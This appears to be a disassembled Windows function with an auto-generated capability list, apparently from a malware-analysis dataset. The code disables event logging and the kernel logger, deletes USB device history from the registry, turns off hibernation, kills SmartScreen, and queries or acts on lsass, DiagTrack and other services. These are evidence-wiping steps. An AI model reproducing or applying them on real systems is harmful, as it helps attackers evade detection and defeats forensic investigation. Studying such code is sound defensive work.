Function at 0x1400542b0
Capabilities:
Create process on windows
Delete file
Delete registry key
Disable system features via registry on windows
Persist via windows service
Query service status
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x1400f90c0]
xor rax, rsp
mov qword [rbp + 0x4f], rax
call fcn.140053ac0
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
lea r9, str._hibernate_off
lea r8, str.powercfg.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x17], xmm1
lea r8d, [r14 + 0x22]
lea rdx, str.C:WindowsSystem32ConfigUSBSTOR
lea rcx, [rbp + 7]
call fcn.14005d010
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 0xf
cmova rcx, qword [rbp + 7]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x140054383
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005437e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005437e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c910c
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetEnumUSBSTOR
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400543c3
xor edx, edx
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeA]
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp - 9], r14d
mov dword [rsp + 0x28], 4
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, str.EnableLog
lea rdx, str.SYSTEMCurrentControlSetControlWMIAutologgerCircular_Kernel_Context_Logger
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
lea rax, [rbp - 1]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetServicesEventLog
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140054463
mov dword [rbp - 9], 4
mov dword [rsp + 0x28], 4
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140054463
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea rdx, [rbp + 7]
call fcn.140052350
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.smartscreen.exe
lea rcx, [rbp - 0x29]
call fcn.14005d010
nop
lea rdx, [rbp - 0x29]
call fcn.1400524f0
nop
xor r9d, r9d
mov r8, rbx
mov edx, eax
call fcn.140052770
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x1400544f3
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400544ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400544ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c910c
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea rdx, [rbp + 7]
call fcn.140052660
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.smartscreen.exe
lea rcx, [rbp - 0x29]
call fcn.14005d010
nop
lea rdx, [rbp - 0x29]
call fcn.1400524f0
nop
xor r9d, r9d
mov r8, rbx
mov edx, eax
call fcn.140052770
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x140054583
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005457e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005457e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c910c
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.smartscreen.exe
lea rcx, [rbp - 0x29]
call fcn.14005d010
lea rdx, [rbp - 0x29]
call fcn.1400524f0
mov r8d, eax
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400545de
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x14005461c
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054617
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140054617
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c910c
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea rdx, [rbp + 7]
call fcn.140052350
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.SearchIndexer.exe
lea rcx, [rbp - 0x29]
call fcn.14005d010
nop
lea rdx, [rbp - 0x29]
call fcn.1400524f0
nop
xor r9d, r9d
mov r8, rbx
mov edx, eax
call fcn.140052770
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x1400546ac
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400546a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400546a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c910c
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea rdx, [rbp + 7]
call fcn.140052350
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, 0xa
lea rdx, str.ctfmon.exe
lea rcx, [rbp - 0x29]
call fcn.14005d010
nop
lea rdx, [rbp - 0x29]
call fcn.1400524f0
nop
xor r9d, r9d
mov r8, rbx
mov edx, eax
call fcn.140052770
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x14005473c
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054737
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140054737
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c910c
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea rdx, [rbp + 7]
call fcn.140052660
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, 9
lea rdx, str.lsass.exe
lea rcx, [rbp - 0x29]
call fcn.14005d010
nop
lea rdx, [rbp - 0x29]
call fcn.1400524f0
nop
xor r9d, r9d
mov r8, rbx
mov edx, eax
call fcn.140052770
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x1400547cc
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400547c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400547c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c910c
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea rdx, [rbp + 7]
call fcn.140052350
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, 6
lea rdx, str.PcaSvc
lea rcx, [rbp - 0x29]
call fcn.14005d010
nop
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
lea rdx, [rbp - 0x29]
cmp qword [rbp - 0x11], 0xf
cmova rdx, qword [rbp - 0x29]
mov r8d, 4
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x27], xmm0
movups xmmword [rbp + 0x37], xmm0
mov dword [rbp + 0x47], eax
mov dword [rbp - 9], r14d
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
mov r9d, Ordinal_41
lea r8, [rbp + 0x27]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
xor r9d, r9d
mov r8, rsi
mov edx, dword [rbp + 0x43]
call fcn.140052770
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x1400548c8
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400548c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400548c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c910c
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea rdx, [rbp + 7]
call fcn.140052350
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, 9
lea rdx, str.DiagTrack
lea rcx, [rbp - 0x29]
call fcn.14005d010
nop
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
lea rdx, [rbp - 0x29]
cmp qword [rbp - 0x11], 0xf
cmova rdx, qword [rbp - 0x29]
mov r8d, 4
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x27], xmm0
movups xmmword [rbp + 0x37], xmm0
mov dword [rbp + 0x47], eax
mov dword [rbp - 9], r14d
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
mov r9d, Ordinal_41
lea r8, [rbp + 0x27]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
xor r9d, r9d
mov r8, rsi
mov edx, dword [rbp + 0x43]
call fcn.140052770
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x1400549c4
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400549bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400549bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c910c
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea rdx, [rbp + 7]
call fcn.140052350
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, 3
lea rdx, [0x1400e5424]
lea rcx, [rbp - 0x29]
call fcn.14005d010
nop
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
lea rdx, [rbp - 0x29]
cmp qword [rbp - 0x11], 0xf
cmova rdx, qword [rbp - 0x29]
mov r8d, 4
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x27], xmm0
movups xmmword [rbp + 0x37], xmm0
mov dword [rbp + 0x47], eax
mov dword [rbp - 9], r14d
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
mov r9d, Ordinal_41
lea r8, [rbp + 0x27]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
xor r9d, r9d
mov r8, rsi
mov edx, dword [rbp + 0x43]
call fcn.140052770
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x140054ac0
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054abb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140054abb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c910c
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea rdx, [rbp + 7]
call fcn.140052660
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, 8
lea rdx, str.Dnscache
lea rcx, [rbp - 0x29]
call fcn.14005d010
nop
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
lea rdx, [rbp - 0x29]
cmp qword [rbp - 0x11], 0xf
cmova rdx, qword [rbp - 0x29]
mov r8d, 4
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x27], xmm0
movups xmmword [rbp + 0x37], xmm0
mov dword [rbp + 0x47], eax
mov dword [rbp - 9], r14d
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
mov r9d, Ordinal_41
lea r8, [rbp + 0x27]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
xor r9d, r9d
mov r8, rsi
mov edx, dword [rbp + 0x43]
call fcn.140052770
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x140054bbc
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054bb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140054bb7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c910c
lea rax, [rbp + 7]
mov qword [rbp - 1], rax
lea rdx, [rbp + 7]
call fcn.140053700
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov r8d, recv
lea rdx, str.explorer.exe
lea rcx, [rbp - 0x29]
call fcn.14005d010
nop
lea rdx, [rbp - 0x29]
call fcn.1400524f0
nop
mov r9b, 1
mov r8, rbx
mov edx, eax
call fcn.140052770
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x140054c4c
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054c47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140054c47
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c910c
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1400c8d50
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret